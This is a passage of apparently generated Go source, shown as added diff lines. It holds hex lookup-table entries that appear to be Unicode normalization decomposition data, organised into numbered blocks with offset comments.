0x05ca, 0x12e9: 0x05d2, + 0x12ea: 0x05da, 0x12eb: 0x05e2, 0x12ec: 0x0666, 0x12ed: 0x066e, 0x12ee: 0x0676, 0x12ef: 0x061a, + 0x12f0: 0x06aa, 0x12f1: 0x05c6, 0x12f2: 0x05ce, 0x12f3: 0x05d6, 0x12f4: 0x05de, 0x12f5: 0x05e6, + 0x12f6: 0x05ea, 0x12f7: 0x05ee, 0x12f8: 0x05f2, 0x12f9: 0x05f6, 0x12fa: 0x05fa, 0x12fb: 0x05fe, + 0x12fc: 0x0602, 0x12fd: 0x0606, 0x12fe: 0x060a, 0x12ff: 0x060e, + // Block 0x4c, offset 0x1300 + 0x1300: 0x0612, 0x1301: 0x0616, 0x1302: 0x061e, 0x1303: 0x0622, 0x1304: 0x0626, 0x1305: 0x062a, + 0x1306: 0x062e, 0x1307: 0x0632, 0x1308: 0x0636, 0x1309: 0x063a, 0x130a: 0x063e, 0x130b: 0x0642, + 0x130c: 0x0646, 0x130d: 0x064a, 0x130e: 0x064e, 0x130f: 0x0652, 0x1310: 0x0656, 0x1311: 0x065a, + 0x1312: 0x065e, 0x1313: 0x0662, 0x1314: 0x066a, 0x1315: 0x0672, 0x1316: 0x067a, 0x1317: 0x067e, + 0x1318: 0x0682, 0x1319: 0x0686, 0x131a: 0x068a, 0x131b: 0x068e, 0x131c: 0x0692, 0x131d: 0x06a2, + 0x131e: 0x4bb9, 0x131f: 0x4bbf, 0x1320: 0x04b6, 0x1321: 0x0406, 0x1322: 0x040a, 0x1323: 0x4b7c, + 0x1324: 0x040e, 0x1325: 0x4b82, 0x1326: 0x4b88, 0x1327: 0x0412, 0x1328: 0x0416, 0x1329: 0x041a, + 0x132a: 0x4b8e, 0x132b: 0x4b94, 0x132c: 0x4b9a, 0x132d: 0x4ba0, 0x132e: 0x4ba6, 0x132f: 0x4bac, + 0x1330: 0x045a, 0x1331: 0x041e, 0x1332: 0x0422, 0x1333: 0x0426, 0x1334: 0x046e, 0x1335: 0x042a, + 0x1336: 0x042e, 0x1337: 0x0432, 0x1338: 0x0436, 0x1339: 0x043a, 0x133a: 0x043e, 0x133b: 0x0442, + 0x133c: 0x0446, 0x133d: 0x044a, 0x133e: 0x044e, + // Block 0x4d, offset 0x1340 + 0x1342: 0x4afe, 0x1343: 0x4b04, 0x1344: 0x4b0a, 0x1345: 0x4b10, + 0x1346: 0x4b16, 0x1347: 0x4b1c, 0x134a: 0x4b22, 0x134b: 0x4b28, + 0x134c: 0x4b2e, 0x134d: 0x4b34, 0x134e: 0x4b3a, 0x134f: 0x4b40, + 0x1352: 0x4b46, 0x1353: 0x4b4c, 0x1354: 0x4b52, 0x1355: 0x4b58, 0x1356: 0x4b5e, 0x1357: 0x4b64, + 0x135a: 0x4b6a, 0x135b: 0x4b70, 0x135c: 0x4b76, + 0x1360: 0x00bf, 0x1361: 0x00c2, 0x1362: 0x00cb, 0x1363: 0x43a5, + 0x1364: 0x00c8, 0x1365: 0x00c5, 0x1366: 0x053e, 0x1368: 0x0562, 0x1369: 0x0542, + 0x136a: 0x0546, 0x136b: 0x054a, 0x136c: 0x054e, 0x136d: 0x0566, 0x136e: 0x056a, + // Block 0x4e, offset 0x1380 + 0x1381: 0x01f1, 0x1382: 0x01f4, 0x1383: 0x00d4, 0x1384: 0x01be, 0x1385: 0x010d, + 0x1387: 0x01d3, 0x1388: 0x174e, 0x1389: 0x01d9, 0x138a: 0x01d6, 0x138b: 0x0116, + 0x138c: 0x0119, 0x138d: 0x0526, 0x138e: 0x011c, 0x138f: 0x0128, 0x1390: 0x01e5, 0x1391: 0x013a, + 0x1392: 0x0134, 0x1393: 0x012e, 0x1394: 0x01c1, 0x1395: 0x00e0, 0x1396: 0x01c4, 0x1397: 0x0143, + 0x1398: 0x0194, 0x1399: 0x01e8, 0x139a: 0x01eb, 0x139b: 0x0152, 0x139c: 0x1756, 0x139d: 0x1742, + 0x139e: 0x0158, 0x139f: 0x175b, 0x13a0: 0x01a9, 0x13a1: 0x1760, 0x13a2: 0x00da, 0x13a3: 0x0170, + 0x13a4: 0x0173, 0x13a5: 0x00a3, 0x13a6: 0x017c, 0x13a7: 0x1765, 0x13a8: 0x0182, 0x13a9: 0x0185, + 0x13aa: 0x0188, 0x13ab: 0x01e2, 0x13ac: 0x01dc, 0x13ad: 0x1752, 0x13ae: 0x01df, 0x13af: 0x0197, + 0x13b0: 0x0576, 0x13b2: 0x01ac, 0x13b3: 0x01cd, 0x13b4: 0x01d0, 0x13b5: 0x01bb, + 0x13b6: 0x00f5, 0x13b7: 0x00f8, 0x13b8: 0x00fb, 0x13b9: 0x176a, 0x13ba: 0x176f, + // Block 0x4f, offset 0x13c0 + 0x13c0: 0x0063, 0x13c1: 0x0065, 0x13c2: 0x0067, 0x13c3: 0x0069, 0x13c4: 0x006b, 0x13c5: 0x006d, + 0x13c6: 0x006f, 0x13c7: 0x0071, 0x13c8: 0x0073, 0x13c9: 0x0075, 0x13ca: 0x0083, 0x13cb: 0x0085, + 0x13cc: 0x0087, 0x13cd: 0x0089, 0x13ce: 0x008b, 0x13cf: 0x008d, 0x13d0: 0x008f, 0x13d1: 0x0091, + 0x13d2: 0x0093, 0x13d3: 0x0095, 0x13d4: 0x0097, 0x13d5: 0x0099, 0x13d6: 0x009b, 0x13d7: 0x009d, + 0x13d8: 0x009f, 0x13d9: 0x00a1, 0x13da: 0x00a3, 0x13db: 0x00a5, 0x13dc: 0x00a7, 0x13dd: 0x00a9, + 0x13de: 0x00ab, 0x13df: 0x00ad, 0x13e0: 0x00af, 0x13e1: 0x00b1, 0x13e2: 0x00b3, 0x13e3: 0x00b5, + 0x13e4: 0x00e3, 0x13e5: 0x0101, 0x13e8: 0x01f7, 0x13e9: 0x01fa, + 0x13ea: 0x01fd, 0x13eb: 0x0200, 0x13ec: 0x0203, 0x13ed: 0x0206, 0x13ee: 0x0209, 0x13ef: 0x020c, + 0x13f0: 0x020f, 0x13f1: 0x0212, 0x13f2: 0x0215, 0x13f3: 0x0218, 0x13f4: 0x021b, 0x13f5: 0x021e, + 0x13f6: 0x0221, 0x13f7: 0x0224, 0x13f8: 0x0227, 0x13f9: 0x020c, 0x13fa: 0x022a, 0x13fb: 0x022d, + 0x13fc: 0x0230, 0x13fd: 0x0233, 0x13fe: 0x0236, 0x13ff: 0x0239, + // Block 0x50, offset 0x1400 + 0x1400: 0x0281, 0x1401: 0x0284, 0x1402: 0x0287, 0x1403: 0x0552, 0x1404: 0x024b, 0x1405: 0x0254, + 0x1406: 0x025a, 0x1407: 0x027e, 0x1408: 0x026f, 0x1409: 0x026c, 0x140a: 0x028a, 0x140b: 0x028d, + 0x140e: 0x0021, 0x140f: 0x0023, 0x1410: 0x0025, 0x1411: 0x0027, + 0x1412: 0x0029, 0x1413: 0x002b, 0x1414: 0x002d, 0x1415: 0x002f, 0x1416: 0x0031, 0x1417: 0x0033, + 0x1418: 0x0021, 0x1419: 0x0023, 0x141a: 0x0025, 0x141b: 0x0027, 0x141c: 0x0029, 0x141d: 0x002b, + 0x141e: 0x002d, 0x141f: 0x002f, 0x1420: 0x0031, 0x1421: 0x0033, 0x1422: 0x0021, 0x1423: 0x0023, + 0x1424: 0x0025, 0x1425: 0x0027, 0x1426: 0x0029, 0x1427: 0x002b, 0x1428: 0x002d, 0x1429: 0x002f, + 0x142a: 0x0031, 0x142b: 0x0033, 0x142c: 0x0021, 0x142d: 0x0023, 0x142e: 0x0025, 0x142f: 0x0027, + 0x1430: 0x0029, 0x1431: 0x002b, 0x1432: 0x002d, 0x1433: 0x002f, 0x1434: 0x0031, 0x1435: 0x0033, + 0x1436: 0x0021, 0x1437: 0x0023, 0x1438: 0x0025, 0x1439: 0x0027, 0x143a: 0x0029, 0x143b: 0x002b, + 0x143c: 0x002d, 0x143d: 0x002f, 0x143e: 0x0031, 0x143f: 0x0033, + // Block 0x51, offset 0x1440 + 0x1440: 0x8133, 0x1441: 0x8133, 0x1442: 0x8133, 0x1443: 0x8133, 0x1444: 0x8133, 0x1445: 0x8133, + 0x1446: 0x8133, 0x1448: 0x8133, 0x1449: 0x8133, 0x144a: 0x8133, 0x144b: 0x8133, + 0x144c: 0x8133, 0x144d: 0x8133, 0x144e: 0x8133, 0x144f: 0x8133, 0x1450: 0x8133, 0x1451: 0x8133, + 0x1452: 0x8133, 0x1453: 0x8133, 0x1454: 0x8133, 0x1455: 0x8133, 0x1456: 0x8133, 0x1457: 0x8133, + 0x1458: 0x8133, 0x145b: 0x8133, 0x145c: 0x8133, 0x145d: 0x8133, + 0x145e: 0x8133, 0x145f: 0x8133, 0x1460: 0x8133, 0x1461: 0x8133, 0x1463: 0x8133, + 0x1464: 0x8133, 0x1466: 0x8133, 0x1467: 0x8133, 0x1468: 0x8133, 0x1469: 0x8133, + 0x146a: 0x8133, + 0x1470: 0x0290, 0x1471: 0x0293, 0x1472: 0x0296, 0x1473: 0x0299, 0x1474: 0x029c, 0x1475: 0x029f, + 0x1476: 0x02a2, 0x1477: 0x02a5, 0x1478: 0x02a8, 0x1479: 0x02ab, 0x147a: 0x02ae, 0x147b: 0x02b1, + 0x147c: 0x02b7, 0x147d: 0x02ba, 0x147e: 0x02bd, 0x147f: 0x02c0, + // Block 0x52, offset 0x1480 + 0x1480: 0x02c3, 0x1481: 0x02c6, 0x1482: 0x02c9, 0x1483: 0x02cc, 0x1484: 0x02cf, 0x1485: 0x02d2, + 0x1486: 0x02d5, 0x1487: 0x02db, 0x1488: 0x02e1, 0x1489: 0x02e4, 0x148a: 0x1736, 0x148b: 0x0302, + 0x148c: 0x02ea, 0x148d: 0x02ed, 0x148e: 0x0305, 0x148f: 0x02f9, 0x1490: 0x02ff, 0x1491: 0x0290, + 0x1492: 0x0293, 0x1493: 0x0296, 0x1494: 0x0299, 0x1495: 0x029c, 0x1496: 0x029f, 0x1497: 0x02a2, + 0x1498: 0x02a5, 0x1499: 0x02a8, 0x149a: 0x02ab, 0x149b: 0x02ae, 0x149c: 0x02b7, 0x149d: 0x02ba, + 0x149e: 0x02c0, 0x149f: 0x02c6, 0x14a0: 0x02c9, 0x14a1: 0x02cc, 0x14a2: 0x02cf, 0x14a3: 0x02d2, + 0x14a4: 0x02d5, 0x14a5: 0x02d8, 0x14a6: 0x02db, 0x14a7: 0x02f3, 0x14a8: 0x02ea, 0x14a9: 0x02e7, + 0x14aa: 0x02f0, 0x14ab: 0x02f6, 0x14ac: 0x1732, 0x14ad: 0x02fc, + // Block 0x53, offset 0x14c0 + 0x14c0: 0x032c, 0x14c1: 0x032f, 0x14c2: 0x033b, 0x14c3: 0x0344, 0x14c5: 0x037d, + 0x14c6: 0x034d, 0x14c7: 0x033e, 0x14c8: 0x035c, 0x14c9: 0x0383, 0x14ca: 0x036e, 0x14cb: 0x0371, + 0x14cc: 0x0374, 0x14cd: 0x0377, 0x14ce: 0x0350, 0x14cf: 0x0362, 0x14d0: 0x0368, 0x14d1: 0x0356, + 0x14d2: 0x036b, 0x14d3: 0x034a, 0x14d4: 0x0353, 0x14d5: 0x0335, 0x14d6: 0x0338, 0x14d7: 0x0341, + 0x14d8: 0x0347, 0x14d9: 0x0359, 0x14da: 0x035f, 0x14db: 0x0365, 0x14dc: 0x0386, 0x14dd: 0x03d7, + 0x14de: 0x03bf, 0x14df: 0x0389, 0x14e1: 0x032f, 0x14e2: 0x033b, + 0x14e4: 0x037a, 0x14e7: 0x033e, 0x14e9: 0x0383, + 0x14ea: 0x036e, 0x14eb: 0x0371, 0x14ec: 0x0374, 0x14ed: 0x0377, 0x14ee: 0x0350, 0x14ef: 0x0362, + 0x14f0: 0x0368, 0x14f1: 0x0356, 0x14f2: 0x036b, 0x14f4: 0x0353, 0x14f5: 0x0335, + 0x14f6: 0x0338, 0x14f7: 0x0341, 0x14f9: 0x0359, 0x14fb: 0x0365, + // Block 0x54, offset 0x1500 + 0x1502: 0x033b, + 0x1507: 0x033e, 0x1509: 0x0383, 0x150b: 0x0371, + 0x150d: 0x0377, 0x150e: 0x0350, 0x150f: 0x0362, 0x1511: 0x0356, + 0x1512: 0x036b, 0x1514: 0x0353, 0x1517: 0x0341, + 0x1519: 0x0359, 0x151b: 0x0365, 0x151d: 0x03d7, + 0x151f: 0x0389, 0x1521: 0x032f, 0x1522: 0x033b, + 0x1524: 0x037a, 0x1527: 0x033e, 0x1528: 0x035c, 0x1529: 0x0383, + 0x152a: 0x036e, 0x152c: 0x0374, 0x152d: 0x0377, 0x152e: 0x0350, 0x152f: 0x0362, + 0x1530: 0x0368, 0x1531: 0x0356, 0x1532: 0x036b, 0x1534: 0x0353, 0x1535: 0x0335, + 0x1536: 0x0338, 0x1537: 0x0341, 0x1539: 0x0359, 0x153a: 0x035f, 0x153b: 0x0365, + 0x153c: 0x0386, 0x153e: 0x03bf, + // Block 0x55, offset 0x1540 + 0x1540: 0x032c, 0x1541: 0x032f, 0x1542: 0x033b, 0x1543: 0x0344, 0x1544: 0x037a, 0x1545: 0x037d, + 0x1546: 0x034d, 0x1547: 0x033e, 0x1548: 0x035c, 0x1549: 0x0383, 0x154b: 0x0371, + 0x154c: 0x0374, 0x154d: 0x0377, 0x154e: 0x0350, 0x154f: 0x0362, 0x1550: 0x0368, 0x1551: 0x0356, + 0x1552: 0x036b, 0x1553: 0x034a, 0x1554: 0x0353, 0x1555: 0x0335, 0x1556: 0x0338, 0x1557: 0x0341, + 0x1558: 0x0347, 0x1559: 0x0359, 0x155a: 0x035f, 0x155b: 0x0365, + 0x1561: 0x032f, 0x1562: 0x033b, 0x1563: 0x0344, + 0x1565: 0x037d, 0x1566: 0x034d, 0x1567: 0x033e, 0x1568: 0x035c, 0x1569: 0x0383, + 0x156b: 0x0371, 0x156c: 0x0374, 0x156d: 0x0377, 0x156e: 0x0350, 0x156f: 0x0362, + 0x1570: 0x0368, 0x1571: 0x0356, 0x1572: 0x036b, 0x1573: 0x034a, 0x1574: 0x0353, 0x1575: 0x0335, + 0x1576: 0x0338, 0x1577: 0x0341, 0x1578: 0x0347, 0x1579: 0x0359, 0x157a: 0x035f, 0x157b: 0x0365, + // Block 0x56, offset 0x1580 + 0x1580: 0x19a6, 0x1581: 0x19a3, 0x1582: 0x19a9, 0x1583: 0x19cd, 0x1584: 0x19f1, 0x1585: 0x1a15, + 0x1586: 0x1a39, 0x1587: 0x1a42, 0x1588: 0x1a48, 0x1589: 0x1a4e, 0x158a: 0x1a54, + 0x1590: 0x1bbc, 0x1591: 0x1bc0, + 0x1592: 0x1bc4, 0x1593: 0x1bc8, 0x1594: 0x1bcc, 0x1595: 0x1bd0, 0x1596: 0x1bd4, 0x1597: 0x1bd8, + 0x1598: 0x1bdc, 0x1599: 0x1be0, 0x159a: 0x1be4, 0x159b: 0x1be8, 0x159c: 0x1bec, 0x159d: 0x1bf0, + 0x159e: 0x1bf4, 0x159f: 0x1bf8, 0x15a0: 0x1bfc, 0x15a1: 0x1c00, 0x15a2: 0x1c04, 0x15a3: 0x1c08, + 0x15a4: 0x1c0c, 0x15a5: 0x1c10, 0x15a6: 0x1c14, 0x15a7: 0x1c18, 0x15a8: 0x1c1c, 0x15a9: 0x1c20, + 0x15aa: 0x2855, 0x15ab: 0x0047, 0x15ac: 0x0065, 0x15ad: 0x1a69, 0x15ae: 0x1ae1, + 0x15b0: 0x0043, 0x15b1: 0x0045, 0x15b2: 0x0047, 0x15b3: 0x0049, 0x15b4: 0x004b, 0x15b5: 0x004d, + 0x15b6: 0x004f, 0x15b7: 0x0051, 0x15b8: 0x0053, 0x15b9: 0x0055, 0x15ba: 0x0057, 0x15bb: 0x0059, + 0x15bc: 0x005b, 0x15bd: 0x005d, 0x15be: 0x005f, 0x15bf: 0x0061, + // Block 0x57, offset 0x15c0 + 0x15c0: 0x27dd, 0x15c1: 0x27f2, 0x15c2: 0x05fe, + 0x15d0: 0x0d0a, 0x15d1: 0x0b42, + 0x15d2: 0x09ce, 0x15d3: 0x4705, 0x15d4: 0x0816, 0x15d5: 0x0aea, 0x15d6: 0x142a, 0x15d7: 0x0afa, + 0x15d8: 0x0822, 0x15d9: 0x0dd2, 0x15da: 0x0faa, 0x15db: 0x0daa, 0x15dc: 0x0922, 0x15dd: 0x0c66, + 0x15de: 0x08ba, 0x15df: 0x0db2, 0x15e0: 0x090e, 0x15e1: 0x1212, 0x15e2: 0x107e, 0x15e3: 0x1486, + 0x15e4: 0x0ace, 0x15e5: 0x0a06, 0x15e6: 0x0f5e, 0x15e7: 0x0d16, 0x15e8: 0x0d42, 0x15e9: 0x07ba, + 0x15ea: 0x07c6, 0x15eb: 0x1506, 0x15ec: 0x0bd6, 0x15ed: 0x07e2, 0x15ee: 0x09ea, 0x15ef: 0x0d36, + 0x15f0: 0x14ae, 0x15f1: 0x0d0e, 0x15f2: 0x116a, 0x15f3: 0x11a6, 0x15f4: 0x09f2, 0x15f5: 0x0f3e, + 0x15f6: 0x0e06, 0x15f7: 0x0e02, 0x15f8: 0x1092, 0x15f9: 0x0926, 0x15fa: 0x0a52, 0x15fb: 0x153e, + // Block 0x58, offset 0x1600 + 0x1600: 0x07f6, 0x1601: 0x07ee, 0x1602: 0x07fe, 0x1603: 0x1774, 0x1604: 0x0842, 0x1605: 0x0852, + 0x1606: 0x0856, 0x1607: 0x085e, 0x1608: 0x0866, 0x1609: 0x086a, 0x160a: 0x0876, 0x160b: 0x086e, + 0x160c: 0x06ae, 0x160d: 0x1788, 0x160e: 0x088a, 0x160f: 0x088e, 0x1610: 0x0892, 0x1611: 0x08ae, + 0x1612: 0x1779, 0x1613: 0x06b2, 0x1614: 0x089a, 0x1615: 0x08ba, 0x1616: 0x1783, 0x1617: 0x08ca, + 0x1618: 0x08d2, 0x1619: 0x0832, 0x161a: 0x08da, 0x161b: 0x08de, 0x161c: 0x195e, 0x161d: 0x08fa, + 0x161e: 0x0902, 0x161f: 0x06ba, 0x1620: 0x091a, 0x1621: 0x091e, 0x1622: 0x0926, 0x1623: 0x092a, + 0x1624: 0x06be, 0x1625: 0x0942, 0x1626: 0x0946, 0x1627: 0x0952, 0x1628: 0x095e, 0x1629: 0x0962, + 0x162a: 0x0966, 0x162b: 0x096e, 0x162c: 0x098e, 0x162d: 0x0992, 0x162e: 0x099a, 0x162f: 0x09aa, + 0x1630: 0x09b2, 0x1631: 0x09b6, 0x1632: 0x09b6, 0x1633: 0x09b6, 0x1634: 0x1797, 0x1635: 0x0f8e, + 0x1636: 0x09ca, 0x1637: 0x09d2, 0x1638: 0x179c, 0x1639: 0x09de, 0x163a: 0x09e6, 0x163b: 0x09ee, + 0x163c: 0x0a16, 0x163d: 0x0a02, 0x163e: 0x0a0e, 0x163f: 0x0a12, + // Block 0x59, offset 0x1640 + 0x1640: 0x0a1a, 0x1641: 0x0a22, 0x1642: 0x0a26, 0x1643: 0x0a2e, 0x1644: 0x0a36, 0x1645: 0x0a3a, + 0x1646: 0x0a3a, 0x1647: 0x0a42, 0x1648: 0x0a4a, 0x1649: 0x0a4e, 0x164a: 0x0a5a, 0x164b: 0x0a7e, + 0x164c: 0x0a62, 0x164d: 0x0a82, 0x164e: 0x0a66, 0x164f: 0x0a6e, 0x1650: 0x0906, 0x1651: 0x0aca, + 0x1652: 0x0a92, 0x1653: 0x0a96, 0x1654: 0x0a9a, 0x1655: 0x0a8e, 0x1656: 0x0aa2, 0x1657: 0x0a9e, + 0x1658: 0x0ab6, 0x1659: 0x17a1, 0x165a: 0x0ad2, 0x165b: 0x0ad6, 0x165c: 0x0ade, 0x165d: 0x0aea, + 0x165e: 0x0af2, 0x165f: 0x0b0e, 0x1660: 0x17a6, 0x1661: 0x17ab, 0x1662: 0x0b1a, 0x1663: 0x0b1e, + 0x1664: 0x0b22, 0x1665: 0x0b16, 0x1666: 0x0b2a, 0x1667: 0x06c2, 0x1668: 0x06c6, 0x1669: 0x0b32, + 0x166a: 0x0b3a, 0x166b: 0x0b3a, 0x166c: 0x17b0, 0x166d: 0x0b56, 0x166e: 0x0b5a, 0x166f: 0x0b5e, + 0x1670: 0x0b66, 0x1671: 0x17b5, 0x1672: 0x0b6e, 0x1673: 0x0b72, 0x1674: 0x0c4a, 0x1675: 0x0b7a, + 0x1676: 0x06ca, 0x1677: 0x0b86, 0x1678: 0x0b96, 0x1679: 0x0ba2, 0x167a: 0x0b9e, 0x167b: 0x17bf, + 0x167c: 0x0baa, 0x167d: 0x17c4, 0x167e: 0x0bb6, 0x167f: 0x0bb2, + // Block 0x5a, offset 0x1680 + 0x1680: 0x0bba, 0x1681: 0x0bca, 0x1682: 0x0bce, 0x1683: 0x06ce, 0x1684: 0x0bde, 0x1685: 0x0be6, + 0x1686: 0x0bea, 0x1687: 0x0bee, 0x1688: 0x06d2, 0x1689: 0x17c9, 0x168a: 0x06d6, 0x168b: 0x0c0a, + 0x168c: 0x0c0e, 0x168d: 0x0c12, 0x168e: 0x0c1a, 0x168f: 0x1990, 0x1690: 0x0c32, 0x1691: 0x17d3, + 0x1692: 0x17d3, 0x1693: 0x12d2, 0x1694: 0x0c42, 0x1695: 0x0c42, 0x1696: 0x06da, 0x1697: 0x17f6, + 0x1698: 0x18c8, 0x1699: 0x0c52, 0x169a: 0x0c5a, 0x169b: 0x06de, 0x169c: 0x0c6e, 0x169d: 0x0c7e, + 0x169e: 0x0c82, 0x169f: 0x0c8a, 0x16a0: 0x0c9a, 0x16a1: 0x06e6, 0x16a2: 0x06e2, 0x16a3: 0x0c9e, + 0x16a4: 0x17d8, 0x16a5: 0x0ca2, 0x16a6: 0x0cb6, 0x16a7: 0x0cba, 0x16a8: 0x0cbe, 0x16a9: 0x0cba, + 0x16aa: 0x0cca, 0x16ab: 0x0cce, 0x16ac: 0x0cde, 0x16ad: 0x0cd6, 0x16ae: 0x0cda, 0x16af: 0x0ce2, + 0x16b0: 0x0ce6, 0x16b1: 0x0cea, 0x16b2: 0x0cf6, 0x16b3: 0x0cfa, 0x16b4: 0x0d12, 0x16b5: 0x0d1a, + 0x16b6: 0x0d2a, 0x16b7: 0x0d3e, 0x16b8: 0x17e7, 0x16b9: 0x0d3a, 0x16ba: 0x0d2e, 0x16bb: 0x0d46, + 0x16bc: 0x0d4e, 0x16bd: 0x0d62, 0x16be: 0x17ec, 0x16bf: 0x0d6a, + // Block 0x5b, offset 0x16c0 + 0x16c0: 0x0d5e, 0x16c1: 0x0d56, 0x16c2: 0x06ea, 0x16c3: 0x0d72, 0x16c4: 0x0d7a, 0x16c5: 0x0d82, + 0x16c6: 0x0d76, 0x16c7: 0x06ee, 0x16c8: 0x0d92, 0x16c9: 0x0d9a, 0x16ca: 0x17f1, 0x16cb: 0x0dc6, + 0x16cc: 0x0dfa, 0x16cd: 0x0dd6, 0x16ce: 0x06fa, 0x16cf: 0x0de2, 0x16d0: 0x06f6, 0x16d1: 0x06f2, + 0x16d2: 0x08be, 0x16d3: 0x08c2, 0x16d4: 0x0dfe, 0x16d5: 0x0de6, 0x16d6: 0x12a6, 0x16d7: 0x075e, + 0x16d8: 0x0e0a, 0x16d9: 0x0e0e, 0x16da: 0x0e12, 0x16db: 0x0e26, 0x16dc: 0x0e1e, 0x16dd: 0x180a, + 0x16de: 0x06fe, 0x16df: 0x0e3a, 0x16e0: 0x0e2e, 0x16e1: 0x0e4a, 0x16e2: 0x0e52, 0x16e3: 0x1814, + 0x16e4: 0x0e56, 0x16e5: 0x0e42, 0x16e6: 0x0e5e, 0x16e7: 0x0702, 0x16e8: 0x0e62, 0x16e9: 0x0e66, + 0x16ea: 0x0e6a, 0x16eb: 0x0e76, 0x16ec: 0x1819, 0x16ed: 0x0e7e, 0x16ee: 0x0706, 0x16ef: 0x0e8a, + 0x16f0: 0x181e, 0x16f1: 0x0e8e, 0x16f2: 0x070a, 0x16f3: 0x0e9a, 0x16f4: 0x0ea6, 0x16f5: 0x0eb2, + 0x16f6: 0x0eb6, 0x16f7: 0x1823, 0x16f8: 0x17ba, 0x16f9: 0x1828, 0x16fa: 0x0ed6, 0x16fb: 0x182d, + 0x16fc: 0x0ee2, 0x16fd: 0x0eea, 0x16fe: 0x0eda, 0x16ff: 0x0ef6, + // Block 0x5c, offset 0x1700 + 0x1700: 0x0f06, 0x1701: 0x0f16, 0x1702: 0x0f0a, 0x1703: 0x0f0e, 0x1704: 0x0f1a, 0x1705: 0x0f1e, + 0x1706: 0x1832, 0x1707: 0x0f02, 0x1708: 0x0f36, 0x1709: 0x0f3a, 0x170a: 0x070e, 0x170b: 0x0f4e, + 0x170c: 0x0f4a, 0x170d: 0x1837, 0x170e: 0x0f2e, 0x170f: 0x0f6a, 0x1710: 0x183c, 0x1711: 0x1841, + 0x1712: 0x0f6e, 0x1713: 0x0f82, 0x1714: 0x0f7e, 0x1715: 0x0f7a, 0x1716: 0x0712, 0x1717: 0x0f86, + 0x1718: 0x0f96, 0x1719: 0x0f92, 0x171a: 0x0f9e, 0x171b: 0x177e, 0x171c: 0x0fae, 0x171d: 0x1846, + 0x171e: 0x0fba, 0x171f: 0x1850, 0x1720: 0x0fce, 0x1721: 0x0fda, 0x1722: 0x0fee, 0x1723: 0x1855, + 0x1724: 0x1002, 0x1725: 0x1006, 0x1726: 0x185a, 0x1727: 0x185f, 0x1728: 0x1022, 0x1729: 0x1032, + 0x172a: 0x0716, 0x172b: 0x1036, 0x172c: 0x071a, 0x172d: 0x071a, 0x172e: 0x104e, 0x172f: 0x1052, + 0x1730: 0x105a, 0x1731: 0x105e, 0x1732: 0x106a, 0x1733: 0x071e, 0x1734: 0x1082, 0x1735: 0x1864, + 0x1736: 0x109e, 0x1737: 0x1869, 0x1738: 0x10aa, 0x1739: 0x17ce, 0x173a: 0x10ba, 0x173b: 0x186e, + 0x173c: 0x1873, 0x173d: 0x1878, 0x173e: 0x0722, 0x173f: 0x0726, + // Block 0x5d, offset 0x1740 + 0x1740: 0x10f2, 0x1741: 0x1882, 0x1742: 0x187d, 0x1743: 0x1887, 0x1744: 0x188c, 0x1745: 0x10fa, + 0x1746: 0x10fe, 0x1747: 0x10fe, 0x1748: 0x1106, 0x1749: 0x072e, 0x174a: 0x110a, 0x174b: 0x0732, + 0x174c: 0x0736, 0x174d: 0x1896, 0x174e: 0x111e, 0x174f: 0x1126, 0x1750: 0x1132, 0x1751: 0x073a, + 0x1752: 0x189b, 0x1753: 0x1156, 0x1754: 0x18a0, 0x1755: 0x18a5, 0x1756: 0x1176, 0x1757: 0x118e, + 0x1758: 0x073e, 0x1759: 0x1196, 0x175a: 0x119a, 0x175b: 0x119e, 0x175c: 0x18aa, 0x175d: 0x18af, + 0x175e: 0x18af, 0x175f: 0x11b6, 0x1760: 0x0742, 0x1761: 0x18b4, 0x1762: 0x11ca, 0x1763: 0x11ce, + 0x1764: 0x0746, 0x1765: 0x18b9, 0x1766: 0x11ea, 0x1767: 0x074a, 0x1768: 0x11fa, 0x1769: 0x11f2, + 0x176a: 0x1202, 0x176b: 0x18c3, 0x176c: 0x121a, 0x176d: 0x074e, 0x176e: 0x1226, 0x176f: 0x122e, + 0x1770: 0x123e, 0x1771: 0x0752, 0x1772: 0x18cd, 0x1773: 0x18d2, 0x1774: 0x0756, 0x1775: 0x18d7, + 0x1776: 0x1256, 0x1777: 0x18dc, 0x1778: 0x1262, 0x1779: 0x126e, 0x177a: 0x1276, 0x177b: 0x18e1, + 0x177c: 0x18e6, 0x177d: 0x128a, 0x177e: 0x18eb, 0x177f: 0x1292, + // Block 0x5e, offset 0x1780 + 0x1780: 0x17fb, 0x1781: 0x075a, 0x1782: 0x12aa, 0x1783: 0x12ae, 0x1784: 0x0762, 0x1785: 0x12b2, + 0x1786: 0x0b2e, 0x1787: 0x18f0, 0x1788: 0x18f5, 0x1789: 0x1800, 0x178a: 0x1805, 0x178b: 0x12d2, + 0x178c: 0x12d6, 0x178d: 0x14ee, 0x178e: 0x0766, 0x178f: 0x1302, 0x1790: 0x12fe, 0x1791: 0x1306, + 0x1792: 0x093a, 0x1793: 0x130a, 0x1794: 0x130e, 0x1795: 0x1312, 0x1796: 0x131a, 0x1797: 0x18fa, + 0x1798: 0x1316, 0x1799: 0x131e, 0x179a: 0x1332, 0x179b: 0x1336, 0x179c: 0x1322, 0x179d: 0x133a, + 0x179e: 0x134e, 0x179f: 0x1362, 0x17a0: 0x132e, 0x17a1: 0x1342, 0x17a2: 0x1346, 0x17a3: 0x134a, + 0x17a4: 0x18ff, 0x17a5: 0x1909, 0x17a6: 0x1904, 0x17a7: 0x076a, 0x17a8: 0x136a, 0x17a9: 0x136e, + 0x17aa: 0x1376, 0x17ab: 0x191d, 0x17ac: 0x137a, 0x17ad: 0x190e, 0x17ae: 0x076e, 0x17af: 0x0772, + 0x17b0: 0x1913, 0x17b1: 0x1918, 0x17b2: 0x0776, 0x17b3: 0x139a, 0x17b4: 0x139e, 0x17b5: 0x13a2, + 0x17b6: 0x13a6, 0x17b7: 0x13b2, 0x17b8: 0x13ae, 0x17b9: 0x13ba, 0x17ba: 0x13b6, 0x17bb: 0x13c6, + 0x17bc: 0x13be, 0x17bd: 0x13c2, 0x17be: 0x13ca, 0x17bf: 0x077a, + // Block 0x5f, offset 0x17c0 + 0x17c0: 0x13d2, 0x17c1: 0x13d6, 0x17c2: 0x077e, 0x17c3: 0x13e6, 0x17c4: 0x13ea, 0x17c5: 0x1922, + 0x17c6: 0x13f6, 0x17c7: 0x13fa, 0x17c8: 0x0782, 0x17c9: 0x1406, 0x17ca: 0x06b6, 0x17cb: 0x1927, + 0x17cc: 0x192c, 0x17cd: 0x0786, 0x17ce: 0x078a, 0x17cf: 0x1432, 0x17d0: 0x144a, 0x17d1: 0x1466, + 0x17d2: 0x1476, 0x17d3: 0x1931, 0x17d4: 0x148a, 0x17d5: 0x148e, 0x17d6: 0x14a6, 0x17d7: 